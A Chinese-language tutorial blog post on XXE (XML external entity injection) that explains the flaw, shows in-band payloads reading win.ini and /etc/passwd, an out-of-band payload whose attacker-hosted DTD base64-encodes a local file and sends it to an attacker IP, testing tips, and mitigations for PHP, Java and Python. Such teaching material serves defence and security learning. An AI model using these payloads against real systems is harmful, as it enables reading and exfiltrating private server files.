当前位置: 首页 > news >正文

xxe攻击(XML外部实体)

1.定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

http://www.w3school.com.cn/dtd/index.asp   了解地址 

2.原理    

XXE(XML外部实体注入) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。     

http://10.0.0.139:92/phpinfo.php   ctrl +f    搜索输入内容

 默认为false

3.XXE攻击

  •  有回显

<?xml version = "1.0"?> <!DOCTYPE note [     
<!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]>
 <name>&hacker;</name>    

//定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">

 win操作系统读出来就是有xxe漏洞   Linux 读/etc/passswd

  • 无回显

建立*.dtd(攻击者服务器)
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64encode/resource=file:///c:/1.txt">   //被攻击的文件
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.0.128:80/?p=%file;'>">  

//内部的%号要进行实体编码成&#37   

在被攻击机创建1.txt  攻击机使用apache


 apache的日志文件里面查看


解码base64

 xml调用
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.128:88/test.dtd">
%remote;%int;%send;
]> 

4.如何找xxe漏洞
 

  •  白盒测试

        查看代码里面是否使用了LoadXML( )函数

  •     黑盒测试

        抓包看响应体是否存在xml,accept头是否接受xml
        抓包修改数据类型,把json改成xml来传输数据,后面修改一句话
        http://web.jarvisoj.com:9882/   例子
         出来的样子

           json的数据提交

           改为xml,下面改为

 <?xml version = "1.0"?> <!DOCTYPE note [     
<!ENTITY hacker SYSTEM "file:///etc/passwd" > ]> <name>&hacker;</name>  
 打比赛的ctf地址

  •  特征

            看到url文件名是否 .ashx后缀扩展名
            响应体为xml                 

5.防范方法

1、升级php版本
2、程序员修改代码
 PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
3、过滤关键词
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

http://www.lryc.cn/news/177811.html

相关文章:

  • 大数据-hadoop
  • 容器启动报错
  • 求生之路2服务器搭建插件安装及详细的游戏参数配置教程linux
  • IntelliJ IDEA 左侧Commit栏不见了
  • 使用自功率谱、互功率谱估计滤波器幅频特性
  • 51单片机光照强度检测自动路灯开关仿真( proteus仿真+程序+报告+讲解视频)
  • socat管理haproxy配置
  • Linux发行版X华为鲲鹏openEuler
  • 计算机网络相关知识点
  • Jmeter+Ant+Git+Jenkins持续集成介绍
  • Spring Cloud Gateway实战WebFlux解析请求体及抛出指定错误代码和信息
  • Servlet开发-通过代码案例熟悉HttpServletRequest类
  • 离线环境harbor 搭建及使用
  • 华为杯数学建模比赛经验分享
  • c语言 - 实现每隔1秒向文件中写入当前系统时间
  • 使用cpolar端口映射的方法轻松实现在Linux环境下SVN服务器的搭建与公网访问
  • 前后台分离开发 YAPI平台 前端工程化之Vue-cli
  • 【js/es6】合集
  • Nginx modules build fail:field ‘pkt6’ has incomplete type
  • 电脑突然提示mfc140u.dll丢失,缺失mfc140u.dll无法运行程序的解决方法
  • 国庆day1
  • 从零开始之了解电机及其控制(11)实现空间矢量调制
  • 如何将html转换成markdown
  • 【VUE复习·3】@keyup.xxx 键盘事件触发函数(单按键 or 组合按键触发)
  • IntelliJ IDEA学习总结(3)—— IntelliJ IDEA 常用快捷键(带动图演示)
  • 巨人互动|Facebook海外户Facebook的特点优势
  • (vue3)create-vue 组合式API
  • 【如何看待Unity收费】对标中小公司的待就业者的该如何做
  • c++迷宫小游戏
  • 需求堆积,如何排序产品优先极